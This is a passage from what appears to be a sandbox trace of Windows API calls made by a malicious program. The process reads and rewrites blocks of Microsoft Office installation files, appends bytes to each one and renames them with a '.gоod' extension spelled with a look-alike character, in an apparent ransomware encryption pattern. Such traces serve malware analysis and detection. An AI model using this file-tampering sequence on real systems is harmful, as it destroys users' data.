lpFileInformation=0x394fd10 | out: lpFileInformation=0x394fd10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd39e5e8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd39e5e8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe)) returned 1 [0190.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0190.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.471] GetFileType (hFile=0x824) returned 0x1 [0190.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.472] GetFileType (hFile=0x824) returned 0x1 [0190.472] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0190.472] ReadFile (in: hFile=0x824, lpBuffer=0x39501c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x39501c8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0190.473] CloseHandle (hObject=0x824) returned 1 [0190.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.473] GetFileType (hFile=0x824) returned 0x1 [0190.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.474] GetFileType (hFile=0x824) returned 0x1 [0190.474] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x130fe [0190.474] WriteFile (in: hFile=0x824, lpBuffer=0x3951520*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3951520*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0190.475] CloseHandle (hObject=0x824) returned 1 [0190.475] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.475] GetFileType (hFile=0x824) returned 0x1 [0190.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.475] GetFileType (hFile=0x824) returned 0x1 [0190.475] ReadFile (in: hFile=0x824, lpBuffer=0x3953890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3953890*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0190.713] CloseHandle (hObject=0x824) returned 1 [0190.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.714] GetFileType (hFile=0x824) returned 0x1 [0190.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.714] GetFileType (hFile=0x824) returned 0x1 [0190.714] WriteFile (in: hFile=0x824, lpBuffer=0x37cd010*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37cd010*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0190.714] CloseHandle (hObject=0x824) returned 1 [0190.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0190.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5c [0190.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0190.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd39e5e8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd39e5e8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6de3fa24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1310e)) returned 1 [0190.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0190.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml.gоod")) returned 1 [0190.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0190.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), fInfoLevelId=0x0, lpFileInformation=0x37ea9b0 | out: lpFileInformation=0x37ea9b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470)) returned 1 [0190.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0190.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.716] GetFileType (hFile=0x824) returned 0x1 [0190.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.717] GetFileType (hFile=0x824) returned 0x1 [0190.717] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0190.717] ReadFile (in: hFile=0x824, lpBuffer=0x37eadb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x37eadb8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0190.717] CloseHandle (hObject=0x824) returned 1 [0190.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.718] GetFileType (hFile=0x824) returned 0x1 [0190.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.718] GetFileType (hFile=0x824) returned 0x1 [0190.718] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x12c470 [0190.718] WriteFile (in: hFile=0x824, lpBuffer=0x37ed810*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37ed810*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0190.719] CloseHandle (hObject=0x824) returned 1 [0190.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.720] GetFileType (hFile=0x824) returned 0x1 [0190.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.720] GetFileType (hFile=0x824) returned 0x1 [0190.720] ReadFile (in: hFile=0x824, lpBuffer=0x37efac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x37efac8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0190.877] CloseHandle (hObject=0x824) returned 1 [0190.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.878] GetFileType (hFile=0x824) returned 0x1 [0190.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.878] GetFileType (hFile=0x824) returned 0x1 [0190.878] WriteFile (in: hFile=0x824, lpBuffer=0x37ee828*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37ee828*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0190.878] CloseHandle (hObject=0x824) returned 1 [0190.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe", lpFilePart=0x0) returned 0x41 [0190.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.gоod", lpFilePart=0x0) returned 0x46 [0190.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0190.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6dfbd1a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12c480)) returned 1 [0190.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0190.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.gоod")) returned 1 [0190.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0190.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0190.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x386be98 | out: lpFileInformation=0x386be98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8)) returned 1 [0190.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0190.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0190.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.881] GetFileType (hFile=0x824) returned 0x1 [0190.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.881] GetFileType (hFile=0x824) returned 0x1 [0190.881] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0190.881] ReadFile (in: hFile=0x824, lpBuffer=0x386c2c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x386c2c0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0190.882] CloseHandle (hObject=0x824) returned 1 [0190.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0190.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.883] GetFileType (hFile=0x824) returned 0x1 [0190.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.883] GetFileType (hFile=0x824) returned 0x1 [0190.883] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x6e22a8 [0190.883] WriteFile (in: hFile=0x824, lpBuffer=0x386eaa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x386eaa0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0190.884] CloseHandle (hObject=0x824) returned 1 [0190.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0190.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0190.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0190.885] GetFileType (hFile=0x824) returned 0x1 [0190.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0190.885] GetFileType (hFile=0x824) returned 0x1 [0190.885] ReadFile (in: hFile=0x824, lpBuffer=0x3872cf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3872cf0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0192.051] CloseHandle (hObject=0x824) returned 1 [0192.051] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0192.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0192.051] GetFileType (hFile=0x824) returned 0x1 [0192.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.051] GetFileType (hFile=0x824) returned 0x1 [0192.051] WriteFile (in: hFile=0x824, lpBuffer=0x343c538*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x343c538*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0192.167] CloseHandle (hObject=0x824) returned 1 [0192.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe", lpFilePart=0x0) returned 0x44 [0192.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.gоod", lpFilePart=0x0) returned 0x49 [0192.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0192.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6ec1b3f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e22b8)) returned 1 [0192.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0192.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.gоod")) returned 1 [0192.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0192.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), fInfoLevelId=0x0, lpFileInformation=0x35272b0 | out: lpFileInformation=0x35272b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef3b8917, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef3b8917, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef4774a9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800)) returned 1 [0192.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0192.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp", lpFilePart=0x0) returned 0x3f [0192.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0192.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0192.528] GetFileType (hFile=0x834) returned 0x1 [0192.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0192.528] GetFileType (hFile=0x834) returned 0x1 [0192.528] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0192.528] ReadFile (in: hFile=0x834, lpBuffer=0x35276a8, nNumberOfBytesToRead=0x1000, 